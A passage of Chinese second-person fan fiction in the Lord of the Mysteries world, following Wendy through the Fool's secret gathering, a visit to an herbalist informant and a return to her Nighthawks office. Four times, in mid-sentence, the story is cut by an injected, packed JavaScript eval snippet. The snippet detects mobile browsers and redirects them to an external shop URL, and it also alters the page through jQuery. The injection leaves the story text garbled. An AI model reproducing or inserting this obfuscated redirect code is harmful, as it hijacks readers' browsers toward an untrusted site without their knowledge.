这一觉睡得极其沉实,连个梦的影子都没有。直到母亲轻轻摇晃你的肩膀,在你耳边呼唤,你才艰难地从那片温暖的黑暗深渊中挣脱出来。睁开眼时,大脑一片空白,足足愣了好几秒,才想起自己是谁、身在何处、以及为什么需要被叫醒。 “三点?快三点了?” 你含糊地问,挣扎着坐起身。 “刚过两点三刻。” 母亲担忧地看着你,“你脸色不太好,温蒂。新工作这么累吗?要不下午请个假?” “不用,妈,就是需要集中精神处理一些事情,而且公司今天下午也给我放假了,今天只上半天班。” 你揉了揉脸颊,强迫自己清醒,“不过我还需要在房间里自己待一会儿,可能……一两个小时?这段时间别让人打扰我,好吗?” 母亲虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193692|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然依旧不放心,但看到你眼中的坚持,还是点了点头,帮你带上了房门。 房间里只剩下你一个人。你坐在床沿,背挺得笔直——因为没有书桌,这是你能想到的最正式的姿势了。 午后的阳光透过不太干净的玻璃窗,在陈旧的地板上投下斑驳的光斑,空气中漂浮着微小的尘埃。 时间一分一秒地逼近三点。那股熟悉的、混合着巨大恐惧和荒谬感的焦虑再次攥紧了你的心脏。高端知识?分享?我拿什么分享?《值夜者行为规范》第一条吗?还是老尼尔教的“七曜象征”顺口溜?你简直想苦笑出声。 为了缓解这几乎令人窒息的紧张,你开始天马行空地胡思乱想起来,带着一种近乎绝望的苦中作乐: “也许……愚者先生其实是个好人呢?就像那些古老传说里,外表吓人但其实内心善良的隐士?” “说不定愚者先生沉睡或者被困了太久,对现在这个世界知道得还没我多?毕竟罗塞尔大帝都过去两百年了……” “搞不好愚者先生才刚诞生,跟我一样是个新手邪神?需要抱团取暖?” 你知道这些想法有多么荒谬绝伦,纯粹是自我安慰。一个能随手将人拉入灰雾之上、拥有那般恢弘古老气息的存在,怎么可能是“新手”或“好人”?但这样想想,至少能让你不至于被纯粹的恐惧压垮。 “这些都太离谱了,这些要是真的那我不如猜克莱恩是愚者。” 这个念头突然蹦出来,连你自己都愣了一下,随即哑然失笑。这比前几个猜想还要离谱一万倍。但不知为何,这个荒诞的假设反而让你莫名地轻松了一点——至少,面对克莱恩比面对一个未知的古老邪神,心理压力要小得多,虽然你知道这绝无可能。 “算了,伸头一刀,缩头也是一刀。” 你长长地吐出一口气,望着窗外逐渐偏移的阳光,心中反而奇异地平静下来。害怕到了极致,似乎也就没什么可怕的了。大不了就是被愚者先生觉得没用,然后……谁知道呢。你只能尽量表现得有价值一些。 就在墙角的旧挂钟指针悄然划过某个无形的刻度时—— 来了! 没有预兆,没有声响。一片纯净、柔和却蕴含着无穷力量的白色光芒毫无征兆地将你彻底吞没。这光芒并不刺眼,却带着一种不容抗拒的、超越空间的伟力。 你的视野、你的意识、连同你端坐在床沿的身体,瞬间被这光芒覆盖、剥离、牵引。 光芒来得快,去得也快。 当视觉再次回归时,你发现自己已然离开了那间狭小熟悉的卧室,正站立在那片无边无际、缓缓流淌的灰白雾气之中。 脚下是坚实而冰冷的触感,仿佛是由雾气凝聚而成的古老石板。前方,那巍峨如同神话时代遗迹的、由一根根巨大石柱撑起的宏伟神殿,在灰雾深处若隐若现,散发着亘古、寂寥而崇高的气息。 你再次来到了灰雾之上,来到了“愚者”先生的国度。 聚会的时刻,到了。 29. 第29章 愚者先生的聚会 你的目光谨慎而快速地扫过长桌两侧。除了高踞上首、被浓郁灰雾笼罩、仅能隐约看出人形轮廓的愚者先生外,长桌旁还多了两道身影,虽然同样被灰雾遮掩了具体容貌,但轮廓和特征依稀可辨。 你的左侧,是一位身姿优雅、有着一头柔顺金色长发的女性,即便隔着灰雾,也能感受到她良好的仪态和隐约透出的青春活力。她应该是“正义”小姐。 你的右侧,则是一位头发像深海水草般卷曲杂乱、呈现出深蓝近黑发色的男性,他穿着风格古朴的长袍,身形魁梧,胸膛宽阔,肌肉线条在袍服下隐隐贲张……嗯,确实胸肌很发达。你忍不住多瞥了两眼,才赶紧移开视线,心中暗自提醒自己保持敬畏和专注。这位想必就是“倒吊人”先生了。 气氛沉静而肃穆。就在你思考该如何打破沉默时,那位金发的正义小姐率先开口了。她的声音清脆悦耳,带着恰到好处的尊敬与活泼,向上首的愚者先生致以问候,随后又转向倒吊人先生,轻快地说道:“下午好,倒吊人先生。” 轮到你时,你正有些踌躇该如何自称和问候,愚者先生那恢弘平淡、仿佛源自时光尽头的嗓音适时响起,回荡在空旷的神殿中: “这位是命运之轮女士。” 你心中一凛,立刻学着正义小姐的样子,微微躬身,尽管在灰雾遮掩下这个动作可能不明显,努力让声音保持平稳:“下午好,愚者先生。下午好,正义小姐,倒吊人先生。” 正义小姐对你这位新成员似乎有些好奇,灰雾后的目光在你身上停留了一瞬,但很快便回到了正题。她转向倒吊人,语气期待:“倒吊人先生,请问您收到鬼鲨的血了吗?” 一场在你看来颇为神秘和高端的交易,就在这灰雾之上的古老殿堂中展开了。倒吊人先生低沉回应,提到了报酬是观众的配方。 由于这是他们二人之间的交易,愚者先生似乎心念微动,你感觉到自己与那两人之间的灰雾浓度悄然增加了些许,形成了一层薄薄的、无形的隔膜,让你能模糊看到他们的身影和动作,却无法听清具体的交易细节。 这显然是愚者先生在保护交易双方的隐私,也让你这个新人暂时处于旁观和安全的位置。 你心中暗暗松了一口气。这种被“隔离”的感觉非但没有让你感到被排斥,反而让你紧绷的神经放松了不少。 你悄悄观察着正义小姐与倒吊人先生的互动,从他们简短的、你能听到的对话和语气中判断,正义小姐似乎还不是非凡者,她正在为获取“观众”魔药配方而努力。 “呼……原来正义小姐还不是非凡者。” 这个发现让你心里踏实了不少。至少,在“是否拥有超凡力量”这一点上,你已经是序列9的“怪物”了!虽然这能力目前来说可能有坑,但好歹是实打实的非凡者了!这么一想,你甚至产生了一丝微妙的优越感——我不是这个聚会上最菜的! 当然,你也清楚地意识到,正义小姐那活泼、天真(至少表面如此)又优雅得体的谈吐,以及她显然优渥的出身(能弄到鬼鲨的血这种非凡材料),都让你这个来自铁十字街街、靠着勤工俭学和意外卷入才踏入此地的普通大学生相形见绌。她显然更擅长这种场合,在交际方面有着很高的天赋,让人天然亲近。 就在你思绪纷飞之际,那边的交易似乎已经完成。隔开你的灰雾悄然恢复原状。正义小姐显得颇为满意和期待,倒吊人先生则依旧沉稳。 突然—— “笃、笃。” 两声轻缓却仿佛能直接敲在心灵上的叩击声响起。你下意识地抬头,望向青铜长桌最上首。 只见那位笼罩在浓郁灰雾之后、仅能看见模糊轮廓的愚者先生,似乎刚刚用手指轻轻敲了敲古老的桌面。随即,他那恢弘、平淡却带着难以言喻威严的嗓音,如同穿越了悠远时光,在恢弘的神殿中缓缓荡开: “不是掌握,是消化。” “不是挖掘,是扮演。” “魔药的名称不只是象征,还是意象,更是消化的‘钥匙’。” 短短三句话,如同惊雷般在你耳畔,不,是在你灵性深处炸响!你虽然暂时无法完全理解其背后蕴含的全部深意,但那直指核心的表述方式,以及与服食魔药后“掌控力量”这一根本目标直接相关的指向,让你瞬间明白——这绝对是极其重要、堪称基石般的超凡知识! 你甚至来不及细想,几乎是本能地调动起全部记忆力,将这三句话死死刻印在脑海。 与此同时,你注意到“正义”小姐的身影明显呆滞了一下,似乎被这突如其来的信息冲击得有些发懵;而另一侧的“倒吊人”先生,则更是不堪,整个身体都出现了瞬间的僵硬,仿佛听到了某种颠覆认知的真理,连笼罩着他的灰雾都似乎波动了一瞬。 “干货!绝对的顶级干货!” 你心中狂呼,手指在长桌下下意识地捏紧,激动又懊恼——激动于能听到如此关键的信息,懊恼于自己暂时无法完全理解。你几乎要忍不住在心里催促:“快问啊,正义小姐!快问问愚者先生这到底是什么意思!” 你无比希望这位看起来更活跃、更大胆的同伴能帮你问出心中的疑惑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193693|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 可惜,最先从震撼中回过神来的,是倒吊人先生。他的声音比之前更加低沉,甚至带上了一丝不易察觉的颤抖,不知是因为激动还是敬畏:“……感谢您的教诲,愚者先生。这为我指明了方向。” 他的态度恭敬到了极点,显然这三句话对他触动极深,甚至可能解决了他长期以来的某个关键困惑。你虽然心急如焚,但也知道此刻绝不适合插话追问,只能遗憾地将疑问暂时压下,继续保持沉默,并反复默念那三句话,试图品味出些什么。 接着,愚者先生表示,这三句话是“预付的报酬”,而交给他们的任务是:收集罗塞尔大帝的日记。 日记?罗塞尔大帝的日记?你心中一动,想起了老尼尔那里看到的、用奇特密文书写的笔记副本。难道那些文字就是日记?它们竟然有如此价值,能让愚者先生用如此宝贵的知识来换取? 而在讨论任务细节时,正义小姐再次展现出她积极的一面,主动请求并获得了一些关于“观众”途径的实用建议。这让你越发后悔和钦佩交织——后悔自己刚才怎么就没鼓起勇气开口,哪怕只是顺着愚者先生的话请教一下“怪物”途径的扮演法呢?钦佩于正义小姐在一位如此神秘莫测的存在面前,竟能表现得如此自然甚至敢于主动求教。 “她难道不害怕吗?不畏惧一位可能是神灵的存在,不担心随意提问会招致神罚吗?” 你忍不住想。或许,这就是贵族出身带来的底气?或者她天生拥有更强大的心脏? 没等你想出答案,聚会已经进入了下一个环节——信息分享。这让你再次紧张起来。 首先是倒吊人先生分享了一些关于海上局势和某些隐秘组织动向的模糊信息,接着正义小姐则提及了鲁恩有关政治的话题,说道国王现在觉得政府结构太混乱,每次选举的职员更替都会带来不必要的不便。 不过让你震惊的是,愚者先生居然也能用那平淡恢弘的嗓音,随口点评几句关于鲁恩王国政府近期官员选拔考核政策的变动,其角度之微妙、洞察之深远,让你觉得这绝非普通民间议论能达到的层次,这说明愚者比你想象中更了解人类。 转眼间,连愚者先生都已发言完毕,三道目光——恢弘淡漠的、好奇探究的、沉稳审视的,都仿佛穿透灰雾,汇聚到了你的身上。 你的心脏猛地一跳,喉咙发干,下意识地紧张吞咽了一下。青铜长桌冰冷坚硬的触感透过手心传来,让你略微定了定神。你知道不能再沉默,也必须体现出自己的价值。 你微笑着,努力让声音显得平稳,斟酌着词句,缓缓开口: 30. 第30章 出门在外身份都是自己给的 你努力调整呼吸,模仿着记忆中那些教授们讲述重要发现时的语气,缓缓开口,声音在空旷神殿中显得清晰而带着一丝刻意营造的悠远感: “近期,有一个掌握着‘药师’和‘怪物’两个途径的组织——‘生命学派’似乎开始在鲁恩活动。该组织松散中立,以师徒方式传承,在相关途径的知识上可能有独到之处。我近期可能会与他们有所接触。” 你注意到倒吊人先生那边的灰雾似乎微微波动了一下,而正义小姐则流露出明显的兴趣。你继续道:“药师,顾名思义,擅长调配药剂,驯化并使用植物和动物部分来治病,对毒素有较强抗性。而‘怪物’……”你顿了顿,“其实是因为超高的灵感而带来的恍惚,这个途径的序列九开始就可能因为超高的灵感而听见别人听不见的声音,看到别人看不到的事物,以至于偶尔能窥见未来的画面。” 你笑了笑:“这个学派与我颇有渊源,后续的接触中如果我能获得有价值的信息,又或者你们有相关途径的问题,我愿意在下次聚会分享。” 这算是一个小小的承诺,也为自己争取了时间。接着,你深吸一口气,转向长桌最上首,语气变得更加恭敬,也带上了一丝恰到好处的不安与探究: “尊敬的愚者先生,我还有一个关于自身途径的困惑,不知是否方便,与您……单独交流片刻?” 这是一个大胆的请求。你看到正义小姐好奇地望向你这边,倒吊人先生则保持着沉默,似乎也在等待愚者的反应。 灰雾之后的身影仿佛微微动了一下,那恢弘平淡的声音随之响起:“可以。” 你心中一紧,知道最关键的部分来了。 等到正义小姐与倒吊人先生的身影在愚者的示意下率先淡化、消失于灰雾中后,空旷古老的宫殿内,便只剩下你与那高踞上首的、无法揣度的存在。 无形的压力更大了。你努力维持着镇定,斟酌着每一个用词:“感谢您的应允,愚者先生。我的能力……似乎与‘命运’这种缥缈的概念有所关联,能够隐约感知到一些常人无法触及的轨迹和遮蔽。” 你小心地观察着那片浓郁的灰雾,继续说道:“然而,最近我遇到了一个特殊的情况。有一个人的‘命运’,或者说其存在的轨迹,被一层极其浓郁、厚重的灰雾所笼罩、包裹,以我目前的能力,完全无法窥探分毫,仿佛被某种更高层次的力量所隔绝。” 你停顿了一下,抛出真正的试探,语气带着请示的意味:“这种情况十分罕见。我不确定这背后是否隐藏着某种需要关注的变数,或者与更高层次的秘密相关。请问,愚者先生,您是否需要我去……尝试调查一下这个人?或者,您对此是否有任何指示?” 你说完,屏息凝神,心脏在胸腔里擂鼓。你紧紧盯着那片灰雾,试图捕捉任何一丝微小的变化。 沉默持续了几秒,在这片亘古寂静的神殿中显得格外漫长。 然后,你听到愚者先生那听不出丝毫情绪的、恢弘而平淡的嗓音再次响起,仿佛只是在陈述一个微不足道的事实: “不用。” 他顿了顿,似乎思考了极其短暂的一瞬,又像是早已有了答案,补充道: “还不到时候。” 语气轻描淡写,却带着一种不容置疑的、仿佛洞悉了一切因果与时间线的淡漠。 你心中顿时掀起惊涛骇浪!这个回答……太过平静,也太过肯定!没有询问细节,没有惊讶,只是简单的“不用”和“还不到时候”。这几乎像是在说……他早就知道这个人,甚至知道那灰雾是什么! 强烈的震撼让你的思维几乎停滞。你原本准备好的后续说辞全都噎在了喉咙里。你不敢再追问,只能低下头,恭敬地回应:“是,我明白了。感谢您的指引。” “愚者”先生似乎没有再交谈的意愿。你感到一股柔和但无法抗拒的力量包裹了你,眼前的宏伟神殿和无穷灰雾开始旋转、淡去…… 意识回归的轻微眩晕感散去,你发现自己依旧端坐在自家小房间的床沿,姿势与离开时别无二致,仿佛刚才那场跨越现实与神秘的聚会只是一场短暂的幻觉。但脑海中清晰无比的记忆,以及灵性隐约的消耗感,都在提醒你一切都是真实的。 “我居然,真的去试探了一位神明……” 后知后觉的恐惧如同冰冷的潮水般涌上,让你忍不住打了个寒颤。你回想着自己那番关于“灰雾笼罩之人”的询问,以及“愚者”先生那轻描淡写却不容置疑的回应,心里一阵发虚。 你用力敲了敲自己的脑袋,低声告诫自己:“温蒂·佩洛蒙西娅,清醒一点!好奇心害死猫,更会害死非凡者!别再试图去窥探神明了,那不是你现在该碰的!” 深呼吸几次,强行压下心中的波澜,你起身推开房门。母亲正在厨房忙碌,你打了个招呼:“妈,我出去一趟,工作上有点事。” “又要出门啊,晚饭前能回来吗?” “应该可以,我去去就回。” 你含糊地应道,揉了揉眼睛,推门走了出去。 午后的阳光依旧明媚,但你的视角已然不同。开启了灵视后,你走在铁十字街上,看周围的行人都带上了崭新的“色彩”。你几乎忍不住对每一个路过的行人都投去好奇的一瞥,试图验证你那“翻阅”过去的能力。 结果让你既安心又困惑。无论是匆匆走过的工人、提着菜篮的主妇,还是追逐打闹的孩子,甚至是路边蜷缩的野猫,在你刻意“虚视”的状态下,他们都或多或少呈现出那种多重影像叠加的“书页”状态。你可以相对轻松地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193694|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “翻阅”他们近期,大概是几个小时到一两天内留下的比较强烈的痕迹或行为片段。比如工人身上残留的码头鱼腥味影像,主妇刚刚讨价还价的模糊场景,孩子摔倒哭泣的短暂回响,甚至能看到那只猫不久前捕捉到一只老鼠的“得意”残影。 你也很快掌握了一些规律:年纪大、经历丰富的人,他们的“历史书页”明显更厚、更沉,蕴含的信息也更庞杂;而年纪小的孩子,其“书页”则相对单薄,重叠的影像也浅淡许多。这让你对自己的能力有了更具体的认知。 “所以……克莱恩到底是怎么回事?” 这个疑问再次浮上心头。他一个年轻人,按理说“历史”不该那么厚重,但那层凝实到无法穿透的灰雾,再联想到愚者先生那讳莫如深的态度,你心中渐渐勾勒出一个让你头皮发麻的猜测:克莱恩·莫雷蒂,恐怕不是简单地被愚者先生关注,而是……被某种更高层次的力量,很可能就源自愚者本人,以一种超乎想象的方式“标记”或“庇护”着。那灰雾,或许就是一种隔绝一切窥探的强大屏障。 你忍不住在心里为这位前邻居兼同事默默祈祷了一番:“愿黑夜女神庇佑你,克莱恩。希望你能平安。” 虽然你知道,如果牵扯到愚者那个层次,女神的庇佑能起多大作用实在难说。 边走边想,你来到了铁十字街的十字路口。这里比下街要热闹一些,商铺林立。就在你路过那家熟悉的斯林面包房时,店主人温蒂太太——一位和善微胖、与你同名的中年妇人笑着向你招手: “哎呀,是小温蒂啊!今天没去学校?来来来,快进来,我正好复刻了我家乡风味的甜冰茶,你帮我尝尝味道正不正宗?” 温蒂太太热情洋溢,她一直很喜欢你这个同名的、努力上进的大学生。 你正好也有些口渴,便从善如流地走进店里。面包房特有的麦香和甜腻气息扑面而来。温蒂太太给你倒了一杯琥珀色的、冒着丝丝凉气的液体。你接过杯子,道谢后小心地喝了一口。 一股清甜冰爽的感觉瞬间滋润了喉咙,带着淡淡的茶香和某种不知名植物的清新气息,甜度恰到好处,并不腻人。“很好喝!” 你眼睛一亮,由衷地称赞道,疲惫似乎都消散了一些。但你还是很诚实地补充了一句:“不过,温蒂太太,我没喝过您家乡的甜冰茶,不知道是不是那个味道。但就我个人来说,我非常喜欢!甜甜的,喝着心情都变好了。” 温蒂太太听到你的夸奖,笑得合不拢嘴:“你喜欢就好!喜欢就好!我就说年轻人会喜欢这个味道。以后常来喝啊,给你算便宜点!” 又和温蒂太太闲聊了几句,你告别离开。你继续向弗拉德街的方向走去,准备去会一会那位向黑夜教会投诚的“药师”,看看他能否为你这条充满未知的“命运”途径,带来一些指引。 31. 第31章 什么叫做我是命运的眷者 按照队长写的地址,你找到了那个被队长发展成线人的药师的草药店——罗森的民俗草药店。 你推开那扇挂着几串风干药草的木门,一股浓郁而复杂的草药气味扑面而来。 混合了薄荷、薰衣草、檀香以及其他几种难以辨识的植物清香,闻之让人心神不由自主地宁静下来,仿佛连刚刚在愚者先生的聚会和路上消耗的灵性都得到了些许抚慰。 嗯,我很喜欢这个地方。你在心里默默评价。 店铺不大,但收拾得井井有条。木质货架上摆满了各种瓶瓶罐罐和捆扎好的草药束,阳光透过窗户,在弥漫着微尘的空气里投下斑驳的光影。柜台后,一位穿着黑色古典长袍、袍子上用银线绣满了奇特符号的胖胖身影正背对着你,似乎在整理什么。听到门响,他转过身来。 这是一位中年男性,身材圆润,黑色短发,脸蛋圆圆的,看起来颇为和善,只是那身打扮活脱脱像个从民俗故事里走出来的乡村巫医。他看到你,脸上立刻堆起职业性的、带着点自来熟的笑容: “这位女士来买药的吗?有什么地方不舒服呢?”他的问题很直接,目光在你脸上扫过,又补充道,“我看您气色还好,就是眉眼间有点疲惫,精神消耗大了?简单,给您开点宁神助眠的草药,回去用热水泡了,当水喝,完了事多睡觉,保准恢复得快。” 你没有说话,只是抬手,用手指轻轻刮了刮右眼眶——这个动作自然得像是在缓解疲劳。在手指的掩护下,你悄然开启了灵视。同时,你点了点头,表示认可他的判断。 胖医师叫罗森·达克威尔,根据你刚刚从他“表层”记忆中读取的信息。他乐呵呵地转身,从身后的药柜里熟练地抓取了几种草药,用油纸包成两大包,递了过来。草药散发着淡淡的、令人安神的香气。 “一共6苏勒。”他搓了搓手,报出一个对于几包草药来说堪称昂贵的价格。 你没有去接药包,也没有掏钱。只是用那双已经恢复正常颜色、但仿佛能看透人心的眼睛,平静地注视着对方。你刚刚利用灵视,不仅看到了他健康的以太体光泽,还刻意“虚视”,翻阅了他最近一两天的记忆片段。你看到了他收到一封由特殊渠道、几乎是连夜送达的急件,看到了他阅读信件时圆脸上的惊讶与不解,看到了信中提到“命运眷者”的字眼以及对他“投诚”后需留意特定情况的指令。 你深吸一口气,模仿着某种高深莫测的语气,缓缓开口,声音不大,却清晰地敲打在对方心上: “罗森·达克威尔先生。” 你准确地叫出了他的名字,看到他的瞳孔猛地一缩。“你来到黑夜教会麾下,真的只是为了寻求庇护,还是为了等我?” 达克威尔脸上的笑容瞬间僵住,圆润的身体几不可察地绷紧了,眼神里充满了难以置信的震惊,仿佛见了鬼一样。他没料到你这个看起来年轻甚至有些文弱的陌生访客,会一口道破他的身份和隐秘! 你没给他反应的时间,继续追问,语气带着探究:“你的师父在让你前来‘投诚’的信里,难道没有告诉你更多?比如……” 你刻意停顿了一下,观察着他骤然变化的脸色,“什么叫做——‘我是命运的眷者’?” “命运的眷者”这个词,如同一个关键的咒文,彻底击溃了达克威尔表面的镇定。他脸上的血色褪去了一些,震惊逐渐转为一种混合着敬畏、困惑和强烈好奇的复杂神情。他张了张嘴,似乎想说什么,又不知从何说起。 他深吸了一口气,圆脸上的表情显得有些局促和无奈,摊了摊手。 “这位……不知道名字的小姐,您别看我师父把我派过来,还说得那么玄乎,其实我知道的真不多。我就是个序列9的‘药师’,在生命学派里也就是个跑腿的。我师父,他也是‘药师’途径,不是‘命运’那一条的。真正和‘命运’有关的,是我师父的师父,那才是位真正的高序列强者,据说能窥见命运河流的些许支流。大概是他老人家不知怎么得到了什么启示,所以才让我师父安排我过来等您,或者说,留意像您这样有‘命运眷顾’迹象的人。” 他顿了顿,组织着语言,试图解释得更清楚些:“在我们生命学派内部,甚至放眼所有已知的非凡途径,‘命运’途径都是最难以捉摸、最不讲道理的。得到命运眷顾的人,和没得到的,哪怕在同一序列,可能都天差地别。这就好比……” 他努力寻找着通俗的比喻,“好比普通人里,有天生倒霉蛋,喝凉水都塞牙;也有天生幸运儿,走路都能捡到钱。‘命运的眷者’,大概就是后者在非凡世界的超级加强版?但具体会加强在哪里,会有什么特别的效果……我是真不知道,我只是个卖草药的。” 在他说话解释的这段时间里,你并没有闲着。你的目光看似随意地扫过店铺的角落、药柜,实则保持着“虚视”状态,像翻阅一本打开的书,快速而专注地“阅读”着罗森·达克威尔过去一两天更详细的“历史书页”。你看到了他接待不同客人的片段,听到了他对某些草药功效的吹嘘,也“瞥见”了他晚上在柜台后数钱的场景——那些硬币的数量让你印象深刻。 你点了点头,仿佛接受了他含糊的解释,然后突然话锋一转,嘴角勾起一个略带狡黠的弧度:“你师父在信里,除了让你等我,是不是还说了要‘尽力配合我’?” 达克威尔脸上的表情瞬间僵住,一种“不妙”的预感让他圆润的身体微微后仰,但还是迟疑着点了点头。 “那就好。” 你脸上的笑容加深,朝他伸出了手,理直气壮地说,“那,我要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193695|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打劫你!” “啊?” 达克威尔愣住了,完全没跟上你的思路。 你掰着手指头,如数家珍:“你昨天接了8个客人,卖药收入很不错嘛,足足有3磅12苏勒!啧啧,看来壮阳药真的很畅销啊。” 你看着他瞬间涨红的脸,摆了摆手,“放心,钱我不要你的,那是你的辛苦钱。不过嘛……” 你指了指柜台上那两大包他刚才配好的宁神助眠草药:“这个,作为见面礼,再送我一些不过分吧?嗯,一二三……” 你故意慢吞吞地数着,然后报出一个数字,“再给我拿八包,凑个整数!快点快点!” “这……这怎么能……” 达克威尔下意识地想反驳,但看看你,估计是想起了师父的指示,也有些畏惧你那双似乎能洞悉一切的眼睛,估计以为是你作为“眷者”的神秘能力,顿时泄了气。 他哭丧着脸,小声嘟囔着“太欺负人了”、“这是敲诈”,但身体却很诚实地转过身,从药柜里又取出八包同样的草药,和之前那两包一起,用细绳仔细捆好,递到你面前。 “哎呀,不要这副样子啦,你都是非凡者了,这都是些普通安神草药,和你的主打招牌木乃伊粉相比不值什么钱,我要是真欺负你,我就从你柜子里拿金磅了……” 你接过沉甸甸的十包草药,满意地点点头,然后踮起脚,老气横秋地拍了拍他厚实的肩膀,看起来有些滑稽:“放心,不白拿你的。以后我给你介绍生意,而且我都是命运眷者了,我给你加了好运,你这几天出门有可能碰到贵人哦。” 你感觉到达克威尔的眼睛瞬间亮了一下。 你接着压低声音,语气变得正式了一些:“还有,如果你师父,或者你师父的师父,还有什么话要带给我,或者有什么关于‘命运’、关于‘眷者’的新启示要传递,可以直接去圣赛琳娜教堂,找值夜者小队的邓恩·史密斯队长,你现在是他的线人不,你就继续和队长对接就好了。” 达克威尔连忙点头,脸上的苦相终于消散了许多,取而代之的是一种找到了“组织”的安心感:“明白,明白!罗森·达克威尔,随时为您和黑夜教会服务!” 你拎着“打劫”来的草药,心满意足地走出了罗森的民俗草药店。这次接触虽然没能获得关于“命运眷者”的具体信息,但至少确认了生命学派对自己的关注并非空穴来风,并且建立起了一个还算可靠的联络渠道(以及一个稳定的优质草药来源)。就是…… 就是达克威尔是不是太好骗了啊?早知道他真那么听话,我就真的找他要钱了,好穷啊好想要钱,不过人家正常卖药赚的钱,我自己花着也不会安心的……你摇了摇头,想着达克威尔好像比你还相信你所谓的“加了好运”,希望他出门的时候,真的会遇到贵人吧。 32. 第32章 biubiubiu 提着十大包草药走在路上确实有些惹眼且吃力。你在街角拦下了一辆公共马车,报出“佐特兰街”的地址。 “四便士,女士。” “好的。”你利落地付了钱,抱着草药上了车。马车轱辘轱辘地行驶在廷根的石板路上,很快将你带回了黑荆棘安保公司。 推开公司大门,熟悉的混合着旧纸张、灰尘和淡淡咖啡味的气息扑面而来。伦纳德·米切尔正懒洋洋地靠在接待台的椅子上,手里翻着一本诗集,绿色的眼睛在听到门响时抬了起来,落在你和你怀里那一大摞草药包上,挑了挑眉。 “下午好,米切尔先生。”你率先打招呼,走过去,从最上面抽出一包草药递给他,“这是些宁神助眠的草药,泡水喝对缓解疲劳挺好的。” 随即你想到他的途径是“不眠者”,“额,虽然你不用睡觉,但是喝点安神也不错?” 伦纳德有些意外地接过,放在鼻尖嗅了嗅,脸上那副玩世不恭的表情柔和了些许:“哦?谢了,温蒂小姐。没想到你还惦记着这个。” 他将草药包随手放在桌上,又看了看你怀里剩下的,“这么多?你这是把草药铺搬回来了?” “遇到个不错的草药师,他送我的。”你含糊地解释了一句,然后问道,“现在公司里还有谁在?” “队长还在办公室里和他的文件做斗争。”伦纳德朝队长办公室方向努了努嘴,“罗珊今天轮值武器库,刚下去不久。至于你的邻居克莱恩嘛,”他露出一丝促狭的笑,“他去武器区领配给的子弹了,应该快上来了。” 你点点头,心里有了数。又抽出一包草药:“麻烦帮我把这包给队长,就说是我的一点心意,有助于提神。” 伦纳德比了个“没问题”的手势。 你抱着剩下的八包草药,转身走向通往地下的楼梯。在武器库门口,你遇到了正在整理清单的罗珊。这位戴着厚厚眼镜的文职姑娘看到你抱着一大堆东西下来,惊讶地推了推眼镜。 “温蒂小姐?你这是……” “一点安神的草药,罗珊小姐,最近大家都很辛苦,泡水喝有助于休息。”你微笑着递过去一包。 “啊,谢谢你!真是太体贴了!”罗珊有些受宠若惊地接过,脸颊微红。正好布莱特先生也在,他来和罗珊换班,将后天晚上空出来。你一边预祝布莱特结婚十五周年纪念日快乐,一边也往他手里塞了一包。 就在这时,克莱恩也从武器区深处的通道走了出来,手里拿着一个装着子弹的小铁盒。他看到你,尤其是你怀里那几乎要挡住视线的草药包,也愣了一下。 “温蒂?你这是……” “刚买的草药,给大家分分。”你言简意赅,也递给他一包,“安神的。” 克莱恩接过,道了声谢,看了看你怀里剩下的,又看了看你略显吃力的样子,随口问道:“剩下的你打算放哪儿?” “先放文职办公室吧,等其他人回来再分。”你说着,调整了一下抱药的姿势。 克莱恩点了点头,似乎想起什么,说道:“我正要去射击俱乐部练习枪法。你对射击感兴趣吗?或者,觉得有必要学一下?” 枪?你眼睛一亮。这绝对是低序列非凡者最重要的自保技能之一!你的“怪物”途径目前看来缺乏直接的攻击手段,学枪正是弥补短板的好机会。你立刻点头:“去!当然要去!麻烦你等我一下,我得先去写个报告申请,我现在既没有配枪也没有子弹配额。” “报告申请?” 克莱恩似乎这才想起你依旧是“文职人员”身份。 “对啊,领用武器和弹药需要队长批准和记录。” 你解释道,随即觉得抱着一堆草药走来走去真不方便。 “我来拿吧。” 